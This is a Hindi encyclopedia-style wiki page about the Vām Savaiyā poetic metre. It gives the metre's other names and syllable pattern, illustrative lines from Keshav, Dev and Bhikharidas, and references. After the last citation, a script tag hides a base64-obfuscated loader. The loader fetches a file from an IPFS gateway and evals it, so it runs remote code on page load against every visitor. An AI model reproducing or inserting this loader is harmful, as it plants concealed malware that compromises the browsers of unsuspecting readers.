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14:05, 1 दिसम्बर 2011 के समय का अवतरण

वाम सवैया के मंजरी, माधवी या मकरन्द अन्य नाम हैं। यह 24 वर्णों का छन्द है, जो सात जगणों और एक यगण के योग से बनता है। मत्तगयन्द के आदि में लघु वर्ण जोड़ने से यह छन्द बन जाता है। केशव और दारा ने इसका प्रयोग किया है। केशव ने मकरन्द, देव ने माधवी, दास ने मंजरी और भानु ने वाम नाम दिया है।

  • "नवै नव ग्रीव थके गीत केशव बालक ते सँग ही सँग खेली।"[1]
  • "कहे किन आजु कहा भयो तोहि, कहा कहि कान्ह कहा कहि तोसो।"[2]
  • "बसन्त से आज बने ब्रजराज सपल्लव लाल छरी बर हाथे।"[3]


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टीका टिप्पणी और संदर्भ

  1. रामचन्द्रिका, 24 : 11
  2. देव : शब्द रसायन, पृष्ठ 152
  3. भिखारीदास ग्र., पृष्ठ 246

धीरेंद्र, वर्मा “भाग- 1 पर आधारित”, हिंदी साहित्य कोश (हिंदी), 741।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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